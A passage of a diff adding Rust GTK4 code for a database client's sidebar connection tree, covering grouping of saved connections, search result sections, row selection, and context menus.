+            Which::Found => &self.found,
+        }
+    }
+
+    fn searching(&self) -> bool {
+        !self.query.borrow().is_empty()
+    }
+
+    /// The list on screen.
+    fn shown(&self) -> Which {
+        if self.searching() { Which::Found } else { Which::Tree }
+    }
+
+    fn view_of(&self, key: &SessionKey) -> Option<SidebarView> {
+        self.branches.borrow().get(key).map(|branch| branch.view.clone())
+    }
+
+    fn saved_name(&self, key: &SessionKey) -> Option<String> {
+        match key {
+            SessionKey::Saved(id) => self.saved.get(*id).map(|saved| saved.name),
+            SessionKey::File(_) => None,
+        }
+    }
+
+    /// The node of the connection under `key`, made under `title` for a
+    /// key the tree has not seen.
+    fn node_for(&self, key: &SessionKey, title: &str) -> TreeNode {
+        self.nodes
+            .borrow_mut()
+            .entry(key.clone())
+            .or_insert_with(|| TreeNode::connection(key.clone(), title))
+            .clone()
+    }
+
+    /// Whether the window holds `key` though no saved connection may
+    /// name it: open, connecting, or failed to connect.
+    fn holds(&self, key: &SessionKey) -> bool {
+        self.branches.borrow().contains_key(key)
+            || self.connects.borrow().contains_key(key)
+            || self.failures.borrow().contains_key(key)
+    }
+
+    fn refresh_state(&self, key: &SessionKey) {
+        let Some(node) = self.nodes.borrow().get(key).cloned() else {
+            return;
+        };
+        let state = self.branches.borrow().get(key).map(|branch| branch.state.clone());
+        let connecting = self.connects.borrow().contains_key(key);
+        let busy = connecting || state == Some(SessionRowState::Busy);
+        let problem = match &state {
+            Some(SessionRowState::Trouble(reason)) => reason.clone(),
+            Some(_) => String::new(),
+            None => self.failures.borrow().get(key).cloned().unwrap_or_default(),
+        };
+        node.update_state(state.is_some(), busy, &problem);
+    }
+
+    /// Lay the roots out again from the saved connections as the store
+    /// published them, keeping every node, so the rows that stay keep
+    /// their place, and a row that moves opens again as it was.
+    fn rebuild(&self) {
+        let open = self.open_rows();
+        let model = self.saved.model();
+        let mut listed: Vec<(tablepro_storage::SavedConnection, bool)> = (0..model.n_items())
+            .filter_map(|at| model.item(at).and_downcast::<SavedConnectionObject>())
+            .filter_map(|object| Some((object.saved()?.clone(), object.file_based())))
+            .collect();
+        listed.sort_by(|left, right| saved_connection_order::by_name(&left.0, &right.0));
+        let mut ungrouped: Vec<TreeNode> = Vec::new();
+        let mut grouped: Vec<(String, Vec<TreeNode>)> = Vec::new();
+        let mut kept: HashSet<SessionKey> = HashSet::new();
+        for (saved, file_based) in &listed {
+            let key = SessionKey::Saved(saved.id);
+            let node = self.node_for(&key, &saved.name);
+            node.update(
+                &saved.name,
+                connection_icon(saved.icon, *file_based),
+                saved.color.map_or("", crate::ui::connection_appearance::color_class),
+            );
+            kept.insert(key);
+            match &saved.group {
+                None => ungrouped.push(node),
+                Some(group) => match grouped.last_mut() {
+                    Some((name, members)) if *name == group.as_str() => members.push(node),
+                    _ => grouped.push((group.as_str().to_owned(), vec![node])),
+                },
+            }
+        }
+        let held: Vec<(SessionKey, TreeNode)> = self
+            .nodes
+            .borrow()
+            .iter()
+            .filter(|(key, _)| !kept.contains(*key))
+            .map(|(key, node)| (key.clone(), node.clone()))
+            .collect();
+        let mut others: Vec<TreeNode> = Vec::new();
+        for (key, node) in held {
+            if self.holds(&key) {
+                if node.icon_name().is_empty() {
+                    let file = matches!(key, SessionKey::File(_));
+                    node.update(&node.title(), connection_icon(None, file), "");
+                }
+                others.push(node);
+            } else {
+                self.nodes.borrow_mut().remove(&key);
+            }
+        }
+        others.sort_by_cached_key(|node| (node.title().to_lowercase(), node.title()));
+        let group_nodes: Vec<TreeNode> = {
+            let mut groups = self.groups.borrow_mut();
+            groups.retain(|name, _| grouped.iter().any(|(held, _)| held == name));
+            grouped
+                .iter()
+                .map(|(name, _)| {
+                    groups
+                        .entry(name.clone())
+                        .or_insert_with(|| TreeNode::group(name))
+                        .clone()
+                })
+                .collect()
+        };
+        for (group, (_, members)) in group_nodes.iter().zip(&grouped) {
+            if let Some(store) = group.child_store() {
+                store_sync::sync(&store, members);
+            }
+        }
+        let in_order: Vec<TreeNode> = ungrouped
+            .iter()
+            .chain(grouped.iter().flat_map(|(_, members)| members))
+            .chain(&others)
+            .cloned()
+            .collect();
+        let desired: Vec<TreeNode> = ungrouped.into_iter().chain(group_nodes).chain(others).collect();
+        store_sync::sync(&self.roots, &desired);
+        store_sync::sync(&self.connections, &in_order);
+        self.reopen(&open);
+        if self.searching() {
+            // An edit can change what the search names.
+            self.matches.changed(gtk::FilterChange::Different);
+        }
+        self.sync_sections();
+        self.refresh_page();
+        self.reselect();
+    }
+
+    /// The sections of what the search finds: the connections it names,
+    /// then each open session's schemas, in the tree's order. A schema's
+    /// section is its list of found tables, empty while there is no
+    /// search, and a new list once a search changes them.
+    fn sync_sections(&self) {
+        let mut headings = vec![Heading {
+            model: self.named.clone().upcast(),
+            key: None,
+            title: crate::i18n::gettext("Connections"),
+        }];
+        let connections: Vec<TreeNode> = (0..self.connections.n_items())
+            .filter_map(|at| self.connections.item(at).and_downcast::<TreeNode>())
+            .collect();
+        for connection in connections {
+            let Some(key) = connection.key() else {
+                continue;
+            };
+            let Some(view) = self.view_of(&key) else {
+                continue;
+            };
+            let schemas = view.schemas();
+            for schema in (0..schemas.n_items()).filter_map(|at| schemas.item(at).and_downcast::<TreeNode>()) {
+                let Some(found) = schema.found() else {
+                    continue;
+                };
+                headings.push(Heading {
+                    model: found.upcast(),
+                    key: Some(key.clone()),
+                    // Translators: a schema the search found tables in, and its connection.
+                    title: crate::i18n::gettext_f(
+                        "{schema} ({connection})",
+                        &[("schema", &schema.title()), ("connection", &connection.title())],
+                    ),
+                });
+            }
+        }
+        let models: Vec<glib::Object> = headings.iter().map(|heading| heading.model.clone()).collect();
+        self.headings.replace(headings);
+        store_sync::replace(&self.sections, &models);
+    }
+
+    /// The section of what the search finds that holds `position`.
+    fn heading_at<T>(&self, position: u32, read: impl FnOnce(&Heading) -> T) -> Option<T> {
+        let model = self.results.model_for_item(position)?;
+        let headings = self.headings.borrow();
+        headings
+            .iter()
+            .find(|heading| heading.model == *model.upcast_ref::<glib::Object>())
+            .map(read)
+    }
+
+    /// Where `model`'s rows start in what the search finds.
+    fn section_start(&self, model: &glib::Object) -> Option<u32> {
+        let mut start = 0;
+        for at in 0..self.sections.n_items() {
+            let section = self.sections.item(at).and_downcast::<gio::ListModel>()?;
+            if section.upcast_ref::<glib::Object>() == model {
+                return Some(start);
+            }
+            start += section.n_items();
+        }
+        None
+    }
+
+    /// Take `node` out and put it back where it is: whether a
+    /// connection's row lists anything is read as the row is made.
+    fn reinsert(&self, node: &TreeNode) {
+        let store = if index_in(&self.roots, node).is_some() {
+            Some(self.roots.clone())
+        } else {
+            self.group_of(node).and_then(|group| group.child_store())
+        };
+        if let Some(store) = store
+            && let Some(at) = index_in(&store, node)
+        {
+            store.remove(at);
+            store.insert(at, node);
+        }
+    }
+
+    fn group_of(&self, node: &TreeNode) -> Option<TreeNode> {
+        self.groups
+            .borrow()
+            .values()
+            .find(|group| {
+                group
+                    .child_store()
+                    .is_some_and(|store| index_in(&store, node).is_some())
+            })
+            .cloned()
+    }
+
+    /// Open the row of a connection that joined, and its group's.
+    fn reveal(&self, node: &TreeNode) {
+        if let Some(row) = self.connection_row(node, true) {
+            expand(&row);
+        }
+    }
+
+    /// The nodes whose rows are open in the tree, above the tables.
+    fn open_rows(&self) -> HashSet<TreeNode> {
+        let mut open = HashSet::new();
+        let mut rows = top_rows(&self.rows);
+        while let Some(row) = rows.pop() {
+            if !row.is_expanded() {
+                continue;
+            }
+            let Some(node) = row.item().and_downcast::<TreeNode>() else {
+                continue;
+            };
+            if node.kind() != NodeKind::Schema {
+                rows.extend(child_rows(&row));
+            }
+            open.insert(node);
+        }
+        open
+    }
+
+    /// Open again each of `open`'s rows that a move took out and put back.
+    fn reopen(&self, open: &HashSet<TreeNode>) {
+        if open.is_empty() {
+            return;
+        }
+        let mut rows = top_rows(&self.rows);
+        while let Some(row) = rows.pop() {
+            let Some(node) = row.item().and_downcast::<TreeNode>() else {
+                continue;
+            };
+            if !open.contains(&node) {
+                continue;
+            }
+            expand(&row);
+            if node.kind() != NodeKind::Schema {
+                rows.extend(child_rows(&row));
+            }
+        }
+    }
+
+    /// A list or a search's rows landed for the session `key`.
+    fn on_rows_shown(&self, key: &SessionKey) {
+        self.open_lone_schema(key);
+        self.sync_sections();
+        self.refresh_page();
+        self.reselect();
+    }
+
+    /// A lone schema, as a file or a key-value engine has, opens as it
+    /// comes, while its connection's row is open.
+    fn open_lone_schema(&self, key: &SessionKey) {
+        let Some(view) = self.view_of(key) else {
+            return;
+        };
+        let schemas = view.schemas();
+        let lone = (schemas.n_items() == 1)
+            .then(|| schemas.item(0).and_downcast::<TreeNode>())
+            .flatten();
+        {
+            let mut branches = self.branches.borrow_mut();
+            let Some(branch) = branches.get_mut(key) else {
+                return;
+            };
+            if branch.lone == lone {
+                return;
+            }
+            branch.lone.clone_from(&lone);
+        }
+        let (Some(schema), Some(node)) = (lone, self.nodes.borrow().get(key).cloned()) else {
+            return;
+        };
+        if let Some(connection) = self.connection_row(&node, false)
+            && connection.is_expanded()
+            && let Some(row) = child_row(&connection, &schema)
+        {
+            expand(&row);
+        }
+    }
+
+    /// Search for `text`: the connections it finds, and each session's
+    /// tables. A key-value engine's server matches its keys, so it is
+    /// asked only while its branch is open in the tree.
+    fn apply_query(&self, text: &str) {
+        let text = text.trim();
+        if *self.query.borrow() == text {
+            return;
+        }
+        let was = self.searching();
+        self.query.replace(text.to_owned());
+        self.search.replace(ConnectionSearch::new(text));
+        match (was, self.searching()) {
+            (false, true) => self.named.set_model(Some(&self.connections)),
+            (true, false) => self.named.set_model(None::<&gio::ListModel>),
+            (true, true) => self.matches.changed(gtk::FilterChange::Different),
+            (false, false) => {}
+        }
+        let keys: Vec<SessionKey> = self.branches.borrow().keys().cloned().collect();
+        for key in &keys {
+            self.tell_search(key);
+        }
+        self.refresh_page();
+        self.reselect();
+    }
+
+    fn tell_search(&self, key: &SessionKey) {
+        let Some(view) = self.view_of(key) else {
+            return;
+        };
+        let query = self.query.borrow().clone();
+        if view.holds() == Holds::Keys && !self.follows(key) {
+            view.set_query("");
+        } else {
+            view.set_query(&query);
+        }
+    }
+
+    /// Whether the session's branch is open in the tree.
+    fn follows(&self, key: &SessionKey) -> bool {
+        let Some(node) = self.nodes.borrow().get(key).cloned() else {
+            return false;
+        };
+        self.connection_row(&node, false).is_some_and(|row| row.is_expanded())
+    }
+
+    /// Whether the search names the connection `item`: its name, where
+    /// it connects, its group or tags, as the picker's search reads them.
+    fn finds(&self, item: &glib::Object) -> bool {
+        let Some(node) = item.downcast_ref::<TreeNode>() else {
+            return false;
+        };
+        let Some(key) = node.key() else {
+            return false;
+        };
+        let search = self.search.borrow();
+        match &key {
+            SessionKey::Saved(id) => match self.saved.get(*id) {
+                Some(saved) => search.matches(&saved, &self.saved.tags()),
+                None => search.matches_name(&node.title()),
+            },
+            SessionKey::File(_) => search.matches_name(&node.title()),
+        }
+    }
+
+    /// Whether every session shows the rows last asked for, so an empty
+    /// result is the search's answer, not one still on its way.
+    fn settled(&self) -> bool {
+        self.branches.borrow().values().all(|branch| branch.view.settled())
+    }
+
+    fn refresh_page(&self) {
+        let page = if !self.searching() {
+            TREE_PAGE
+        } else if self.results.n_items() == 0 && self.settled() {
+            NOTHING_PAGE
+        } else {
+            FOUND_PAGE
+        };
+        if self.root.visible_child_name().as_deref() != Some(page) {
+            self.root.set_visible_child_name(page);
+        }
+    }
+
+    /// The tree's row of the connection `node`, among the roots or in its
+    /// group; `open` opens the group to show it.
+    fn connection_row(&self, node: &TreeNode, open: bool) -> Option<gtk::TreeListRow> {
+        let model = &self.rows;
+        if let Some(at) = index_in(&model.model(), node) {
+            return model.child_row(at);
+        }
+        let group = self.group_of(node)?;
+        let row = model.child_row(index_in(&model.model(), &group)?)?;
+        if open {
+            expand(&row);
+        }
+        child_row(&row, node)
+    }
+
+    /// The row of `table` under the open connection's `connection` row,
+    /// opening the rows above it when `open`.
+    fn table_row(
+        &self,
+        key: &SessionKey,
+        connection: &gtk::TreeListRow,
+        table: &TableRef,
+        open: bool,
+    ) -> Option<gtk::TreeListRow> {
+        let (schema, offset) = self.view_of(key)?.locate(table)?;
+        if open {
+            expand(connection);
+        }
+        let schema = child_row(connection, &schema)?;
+        if open {
+            expand(&schema);
+        }
+        schema.child_row(offset)
+    }
+
+    /// Select the row of `table`, or of the session's connection, in the
+    /// list on screen. `reveal` opens the rows above it and scrolls to
+    /// it. True when the row selected is the one asked for.
+    fn show_selection(&self, key: &SessionKey, table: Option<&TableRef>, reveal: bool) -> bool {
+        let which = self.shown();
+        let pane = self.pane(which);
+        let found = match which {
+            Which::Tree => self.tree_position(key, table, reveal),
+            Which::Found => self.found_position(key, table),
+        };
+        let Some((position, shown)) = found else {
+            self.unselect(pane);
+            return false;
+        };
+        if reveal {
+            // Without FOCUS: the keyboard stays in the editor or the grid.
+            pane.list_view.scroll_to(position, gtk::ListScrollFlags::SELECT, None);
+        } else if pane.selection.selected() != position {
+            pane.selection.set_selected(position);
+        }
+        shown
+    }
+
+    /// Where the tree shows `table`, or the session's connection when it
+    /// does not, and whether that is the row asked for.
+    fn tree_position(&self, key: &SessionKey, table: Option<&TableRef>, reveal: bool) -> Option<(u32, bool)> {
+        let node = self.nodes.borrow().get(key).cloned()?;
+        let connection = self.connection_row(&node, reveal)?;
+        let found = table.and_then(|table| self.table_row(key, &connection, table, reveal));
+        Some(match &found {
+            Some(row) => (row.position(), true),
+            None => (connection.position(), table.is_none()),
+        })
+    }
+
+    /// Where the search's list shows `table`, or the session's connection
+    /// when it names it and the table is not found.
+    fn found_position(&self, key: &SessionKey, table: Option<&TableRef>) -> Option<(u32, bool)> {
+        let view = self.view_of(key);
+        let located = table.zip(view).and_then(|(table, view)| view.locate_found(table));
+        if let Some((schema, offset)) = located {
+            let found = schema.found()?.upcast::<glib::Object>();
+            return Some((self.section_start(&found)? + offset, true));
+        }
+        let node = self.nodes.borrow().get(key).cloned()?;
+        let at = index_in(&self.named, &node)?;
+        Some((self.section_start(self.named.upcast_ref())? + at, table.is_none()))
+    }
+
+    /// What the list `which` shows at `position`, and the session whose
+    /// table or schema it is.
+    fn item_at(&self, which: Which, position: u32) -> Option<(glib::Object, Option<SessionKey>)> {
+        match which {
+            Which::Tree => {
+                let row = self.rows.row(position)?;
+                Some((row.item()?, owning_key(&row)))
+            }
+            Which::Found => {
+                let item = self.results.item(position)?;
+                let key = match item.downcast_ref::<TreeNode>() {
+                    Some(node) => node.key(),
+                    None => self.heading_at(position, |heading| heading.key.clone()).flatten(),
+                };
+                Some((item, key))
+            }
+        }
+    }
+
+    /// Select again the row the selection follows, once rows moved or
+    /// the pointer left: activation on a single click selects rows on
+    /// hover.
+    fn reselect(&self) {
+        let Some(followed) = self.followed.borrow().clone() else {
+            self.unselect(self.pane(self.shown()));
+            return;
+        };
+        let shown = self.show_selection(&followed.key, followed.table.as_ref(), followed.unrevealed);
+        if followed.unrevealed
+            && shown
+            && let Some(followed) = self.followed.borrow_mut().as_mut()
+        {
+            followed.unrevealed = false;
+        }
+    }
+
+    fn unselect(&self, pane: &Pane) {
+        if pane.selection.selected() != gtk::INVALID_LIST_POSITION {
+            pane.selection.set_selected(gtk::INVALID_LIST_POSITION);
+        }
+    }
+
+    /// A click or Enter: a table opens, a closed connection connects and
+    /// an open one comes to the front, and a group or schema opens or
+    /// folds. Bringing a connection forward leaves its row as it is.
+    fn activate(&self, which: Which, position: u32) {
+        let Some((item, key)) = self.item_at(which, position) else {
+            return;
+        };
+        if let Some(object) = item.downcast_ref::<SidebarObject>() {
+            if let Some(view) = key.and_then(|key| self.view_of(&key)) {
+                view.open(object.table_ref());
+            }
+            return;
+        }
+        let Some(node) = item.downcast_ref::<TreeNode>() else {
+            return;
+        };
+        match node.kind() {
+            NodeKind::Connection => activate_connection(&self.pane(which).list_view, node, self.stored(node)),
+            NodeKind::Group | NodeKind::Schema => {
+                if let Some(row) = self.rows.row(position).filter(|_| which == Which::Tree) {
+                    row.set_expanded(!row.is_expanded());
+                }
+            }
+            NodeKind::Placeholder => {}
+        }
+    }
+
+    /// A press on a row: the secondary button selects it and opens its
+    /// menu, and Ctrl or the middle button opens a table in a new tab.
+    /// True when handled, which cancels the row's own click.
+    pub(super) fn pressed(
+        &self,
+        which: Which,
+        position: u32,
+        button: u32,
+        modifiers: gdk::ModifierType,
+        pointing: Option<gdk::Rectangle>,
+    ) -> bool {
+        let Some((item, key)) = self.item_at(which, position) else {
+            return false;
+        };
+        let table = item.downcast_ref::<SidebarObject>().map(SidebarObject::table_ref);
+        match button {
+            gdk::BUTTON_SECONDARY => {
+                self.pane(which).selection.set_selected(position);
+                self.popup_menu(which, position, pointing);
+                true
+            }
+            gdk::BUTTON_PRIMARY if modifiers.contains(gdk::ModifierType::CONTROL_MASK) => {
+                let (Some(table), Some(view)) = (table, key.and_then(|key| self.view_of(&key))) else {
+                    return false;
+                };
+                view.open_in_new_tab(table);
+                true
+            }
+            gdk::BUTTON_MIDDLE => {
+                self.middle.replace(key.zip(table));
+                false
+            }
+            _ => false,
+        }
+    }
+
+    /// A middle click opens the table it was pressed on in a new tab, as
+    /// a link does, while its session still lists it.
+    pub(super) fn released(&self, button: u32) -> bool {
+        if button != gdk::BUTTON_MIDDLE {
+            return false;
+        }
+        let Some((key, table)) = self.middle.take() else {
+            return false;
+        };
+        if let Some(view) = self.view_of(&key)
+            && view.lists(&table)
+        {
+            view.open_in_new_tab(table);
+        }
+        true
+    }
+
+    /// Open the menu of the row at `position` in the list `which`.
+    pub(super) fn popup_menu(&self, which: Which, position: u32, pointing: Option<gdk::Rectangle>) {
+        let Some((item, key)) = self.item_at(which, position) else {
+            return;
+        };
+        let Some(menu) = self.menu_for(&item, key) else {
+            return;
+        };
+        self.popover.set_menu_model(Some(&menu));
+        self.popover.set_pointing_to(pointing.as_ref());
+        self.popover.popup();
+    }
+
+    /// The Menu key and Shift+F10: the menu of the row the keyboard is
+    /// on, over that row. The selection follows the tab in front, not
+    /// the keyboard, so it stands in only when no row has focus.
+    fn popup_keyboard_menu(&self) {
+        let which = self.shown();
+        let pane = self.pane(which);
+        let row = focused_row(&pane.list_view).or_else(|| bound_row(&pane.list_view, pane.selection.selected()));
+        let position = row
+            .as_ref()
+            .and_then(TreeRow::position)
+            .unwrap_or_else(|| pane.selection.selected());
+        if position == gtk::INVALID_LIST_POSITION {
+            return;
+        }
+        let pointing = row.and_then(|row| bounds_in(&row, &self.root));
+        self.popup_menu(which, position, pointing);
+    }
+
+    /// The menu of a row. The popover reaches the session's table
+    /// actions, and a connection's choices, through groups of its own.
+    fn menu_for(&self, item: &glib::Object, key: Option<SessionKey>) -> Option<gio::Menu> {
+        let view = key.and_then(|key| self.view_of(&key));
+        if let Some(object) = item.downcast_ref::<SidebarObject>() {
+            let view = view?;
+            self.popover.insert_action_group(GROUP, Some(view.actions()));
+            return Some(object_menu(
+                &ObjectKey(object.table_ref()),
+                object.kind(),
+                view.affordances(),
+            ));
+        }
+        let node = item.downcast_ref::<TreeNode>()?;
+        match node.kind() {
+            NodeKind::Schema => {
+                let view = view?;
+                self.popover.insert_action_group(GROUP, Some(view.actions()));
+                schema_menu(node.schema_name().as_deref(), view.affordances(), view.holds())
+            }
+            NodeKind::Connection => self.connection_menu(node),
+            NodeKind::Group | NodeKind::Placeholder => None,
+        }
+    }
+
+    /// The id of the saved connection `node` shows, while the list has it.
+    fn stored(&self, node: &TreeNode) -> Option<Uuid> {
+        match node.key()? {
+            SessionKey::Saved(id) => self.saved.get(id).map(|_| id),
+            SessionKey::File(_) => None,
+        }
+    }
+
+    /// The picker's menu for a saved connection, led by what the
+    /// connection does in the window.
+    fn connection_menu(&self, node: &TreeNode) -> Option<gio::Menu> {
+        let key = node.key()?;
+        let state = if node.open() {
+            InWindow::Open
+        } else if self.connects.borrow().contains_key(&key) {
+            InWindow::Connecting
+        } else {
+            InWindow::Closed {
+                failed: self.failures.borrow().contains_key(&key),
+                stored: self.stored(node).is_some(),
+            }
+        };
+        let lead = session_section(&key, state);
+        let saved = match &key {
+            SessionKey::Saved(id) => self.saved.get(*id),
+            SessionKey::File(_) => None,
+        };
+        let Some(saved) = saved else {
+            if lead.n_items() == 0 {
+                return None;
+            }
+            let menu = gio::Menu::new();
+            menu.append_section(None, &lead);
+            return Some(menu);
+        };
+        let tags = self.saved.tags();
+        crate::ui::picker::insert_choice_actions(&self.popover, self.root.upcast_ref(), &saved, &tags);
+        Some(crate::ui::picker::connection_menu_with(
+            &lead,
+            saved.id,
+            &self.saved.groups(),
+            &tags,
+        ))
+    }
+}
+
+impl Drop for TreeInner {
+    fn drop(&mut self) {
+        if self.popover.parent().is_some() {
+            self.popover.unparent();
+        }
+    }
+}
+
+/// A closed saved connection connects, as its picker row does; an open
+/// one comes to the front. One connecting waits. A row only a failed
+/// connect keeps, of a file or of a connection not saved, says why.
+fn activate_connection(list_view: &gtk::ListView, node: &TreeNode, stored: Option<Uuid>) {
+    let Some(key) = node.key() else {
+        return;
+    };
+    let fired = if node.open() {
+        list_view.activate_action(SHOW_SESSION, Some(&crate::ui::session_target::to_variant(&key)))
+    } else if node.busy() {
+        return;
+    } else if let Some(id) = stored {
+        let (action, target) = crate::ui::picker::connect_action(id);
+        list_view.activate_action(&action, Some(&target))
+    } else {
+        list_view.activate_action(SHOW_CONNECT_FAILURE, Some(&crate::ui::session_target::to_variant(&key)))
+    };
+    if let Err(error) = fired {
+        tracing::warn!(%error, "a connection's row reached no window");
+    }
+}
+
+/// The tree over `roots`. A closed connection lists nothing, so its row
+/// has no expander: activating it connects.
+fn tree_model(roots: &gio::ListStore) -> gtk::TreeListModel {
+    gtk::TreeListModel::new(roots.clone(), false, false, |item| {
+        let node = item.downcast_ref::<TreeNode>()?;
+        match node.kind() {
+            NodeKind::Connection if !node.open() => None,
+            NodeKind::Placeholder => None,
+            _ => node.children(),
+        }
+    })
+}
+
+/// The tree, what the search finds, and a page that says it found
+/// nothing.
+fn pages(tree: &Pane, found: &Pane) -> gtk::Stack {
+    let scrolled = |list_view: &gtk::ListView| {
+        gtk::ScrolledWindow::builder()
+            .hscrollbar_policy(gtk::PolicyType::Never)
+            .vexpand(true)
+            .child(list_view)
+            .build()
+    };
+    let nothing = adw::StatusPage::builder()
+        .icon_name(crate::ui::icons::SYSTEM_SEARCH)
+        .title(crate::i18n::gettext("No Results Found"))
+        .description(crate::i18n::gettext("Try a different search."))
+        .build();
+    nothing.add_css_class("compact");
+    let root = gtk::Stack::new();
+    root.add_named(&scrolled(&tree.list_view), Some(TREE_PAGE));
+    root.add_named(&scrolled(&found.list_view), Some(FOUND_PAGE));
+    root.add_named(&nothing, Some(NOTHING_PAGE));
+    root.set_visible_child_name(TREE_PAGE);
+    root
+}
+
+fn connect_pane(inner: &Rc<TreeInner>, which: Which) {
+    let pane = inner.pane(which);
+    let tree = Rc::downgrade(inner);
+    match which {
+        Which::Tree => pane.list_view.set_factory(Some(&tree_factory(tree))),
+        Which::Found => {
+            pane.list_view.set_factory(Some(&found_factory(tree.clone())));
+            pane.list_view.set_header_factory(Some(&heading_factory(tree)));
+        }
+    }
+    let tree = Rc::downgrade(inner);
+    pane.list_view.connect_activate(move |_, position| {
+        if let Some(tree) = tree.upgrade() {
+            tree.activate(which, position);
+        }
+    });
+    // Activation on a single click selects the row under the pointer, so
+    // the selection goes back to the tab in front's row when it leaves.
+    let hover = gtk::EventControllerMotion::new();
+    let tree = Rc::downgrade(inner);
+    hover.connect_leave(move |_| {
+        if let Some(tree) = tree.upgrade() {
+            tree.reselect();
+        }
+    });
+    pane.list_view.add_controller(hover);
+}
+
+fn install_actions(inner: &Rc<TreeInner>) {
+    let actions = gio::SimpleActionGroup::new();
+    let menu = gio::SimpleAction::new(CONTEXT_MENU, None);
+    let tree = Rc::downgrade(inner);
+    menu.connect_activate(move |_, _| {
+        if let Some(tree) = tree.upgrade() {
+            tree.popup_keyboard_menu();
+        }
+    });
+    actions.add_action(&menu);
+    inner.root.insert_action_group(TREE, Some(&actions));
+    inner
+        .root
+        .add_controller(local_shortcut_controller(ShortcutOwner::ConnectionTree));
+}
+
+/// The ListItem is not focusable, so the keyboard focus is on the
+/// expander, whose keys open and fold the row and which says to a screen
+/// reader whether it is open.
+fn tree_factory(tree: Weak<TreeInner>) -> gtk::SignalListItemFactory {
+    let factory = gtk::SignalListItemFactory::new();
+    factory.connect_setup(move |_, object| {
+        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
+            return;
+        };
+        item.set_focusable(false);
+        let expander = gtk::TreeExpander::new();
+        expander.set_indent_for_icon(true);
+        expander.set_child(Some(&TreeRow::new(item)));
+        expander.add_controller(click_gesture(tree.clone(), Which::Tree, item));
+        item.set_child(Some(&expander));
+    });
+    factory.connect_bind(|_, object| {
+        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
+            return;
+        };
+        let (Some(expander), Some(row)) = (
+            item.child().and_downcast::<gtk::TreeExpander>(),
+            item.item().and_downcast::<gtk::TreeListRow>(),
+        ) else {
+            return;
+        };
+        expander.set_list_row(Some(&row));
+        if let (Some(shown), Some(object)) = (expander.child().and_downcast::<TreeRow>(), row.item()) {
+            shown.bind(&object);
+        }
+    });
+    factory.connect_unbind(|_, object| {
+        let Some(expander) = object
+            .downcast_ref::<gtk::ListItem>()
+            .and_then(|item| item.child())
+            .and_downcast::<gtk::TreeExpander>()
+        else {
+            return;
+        };
+        if let Some(shown) = expander.child().and_downcast::<TreeRow>() {
+            shown.unbind();
+        }
+        expander.set_list_row(None);
+    });
+    factory
+}
+
+/// The search's rows, which open nothing beneath them.
+fn found_factory(tree: Weak<TreeInner>) -> gtk::SignalListItemFactory {
+    let factory = gtk::SignalListItemFactory::new();
+    factory.connect_setup(move |_, object| {
+        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
+            return;
+        };
+        let row = TreeRow::new(item);
+        row.add_controller(click_gesture(tree.clone(), Which::Found, item));
+        item.set_child(Some(&row));
+    });
+    factory.connect_bind(|_, object| {
+        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
+            return;
+        };
+        if let (Some(row), Some(shown)) = (item.child().and_downcast::<TreeRow>(), item.item()) {
+            row.bind(&shown);
+        }
+    });
+    factory.connect_unbind(|_, object| {
+        if let Some(row) = object
+            .downcast_ref::<gtk::ListItem>()
+            .and_then(|item| item.child())
+            .and_downcast::<TreeRow>()
+        {
+            row.unbind();
+        }
+    });
+    factory
+}
+
+/// Each section of what the search finds is headed by what it is, as
+/// GtkPlacesSidebar heads its sections: small, bold and dim.
+fn heading_factory(tree: Weak<TreeInner>) -> gtk::SignalListItemFactory {
+    let factory = gtk::SignalListItemFactory::new();
+    factory.connect_setup(|_, object| {
+        let Some(header) = object.downcast_ref::<gtk::ListHeader>() else {
+            return;
+        };
+        let title = gtk::Label::builder()
+            .xalign(0.0)
+            .ellipsize(pango::EllipsizeMode::End)
+            .margin_top(12)
+            .margin_bottom(6)
+            .margin_start(12)
+            .margin_end(12)
+            .build();
+        title.add_css_class("caption-heading");
+        title.add_css_class("dimmed");
+        header.set_child(Some(&title));
+    });
+    factory.connect_bind(move |_, object| {
+        let Some(header) = object.downcast_ref::<gtk::ListHeader>() else {
+            return;
+        };
+        let (Some(tree), Some(title)) = (tree.upgrade(), header.child().and_downcast::<gtk::Label>()) else {
+            return;
+        };
+        let heading = tree.heading_at(header.start(), |heading| heading.title.clone());
+        title.set_label(heading.as_deref().unwrap_or_default());
+    });
+    factory
+}
+
+/// Button 0, so one gesture sees every button. It claims only what it
+/// handles, which cancels the row's own click for that press.
+fn click_gesture(tree: Weak<TreeInner>, which: Which, item: &gtk::ListItem) -> gtk::GestureClick {
+    let gesture = gtk::GestureClick::new();
+    gesture.set_button(0);
+    let (pressing, item) = (tree.clone(), item.downgrade());
+    gesture.connect_pressed(move |gesture, _, x, y| {
+        let (Some(tree), Some(item), Some(widget)) = (pressing.upgrade(), item.upgrade(), gesture.widget()) else {
+            return;
+        };
+        let at = widget.compute_point(&tree.root, &graphene::Point::new(x as f32, y as f32));
+        let pointing = at.map(|point| gdk::Rectangle::new(point.x() as i32, point.y() as i32, 1, 1));
+        if tree.pressed(
+            which,
+            item.position(),
+            gesture.current_button(),
+            gesture.current_event_state(),
+            pointing,
+        ) {
+            gesture.set_state(gtk::EventSequenceState::Claimed);
+        }
+    });
+    gesture.connect_released(move |gesture, _, _, _| {
+        if let Some(tree) = tree.upgrade()
+            && tree.released(gesture.current_button())
+        {
+            gesture.set_state(gtk::EventSequenceState::Claimed);
+        }
+    });
+    gesture
+}
+
+/// The theme's icon for a connection: the one the user picked, else a
+/// file's or a server's.
+fn connection_icon(icon: Option<tablepro_storage::ConnectionIcon>, file_based: bool) -> &'static str {
+    match icon {
+        Some(icon) => crate::ui::icons::connection_icon(icon),
+        None if file_based => crate::ui::icons::TEXT_X_GENERIC,
+        None => crate::ui::icons::NETWORK_SERVER,
+    }
+}
+
+/// The connection a row belongs to: its own, or its schema's.
+fn owning_key(row: &gtk::TreeListRow) -> Option<SessionKey> {
+    let mut current = Some(row.clone());
+    while let Some(row) = current {
+        if let Some(node) = row.item().and_downcast::<TreeNode>()
+            && node.kind() == NodeKind::Connection
+        {
+            return node.key();
+        }
+        current = row.parent();
+    }
+    None
+}
+
+/// The row the keyboard focus is in or on: its expander or its eject
+/// button in the tree, the row itself in the search's list.
+fn focused_row(list_view: &gtk::ListView) -> Option<TreeRow> {
+    let mut widget = list_view.root()?.focus();
+    while let Some(current) = widget {
+        if let Some(row) = row_in(&current) {
+            return Some(row);
+        }
+        if &current == list_view.upcast_ref::<gtk::Widget>() {
+            return None;
+        }
+        widget = current.parent();
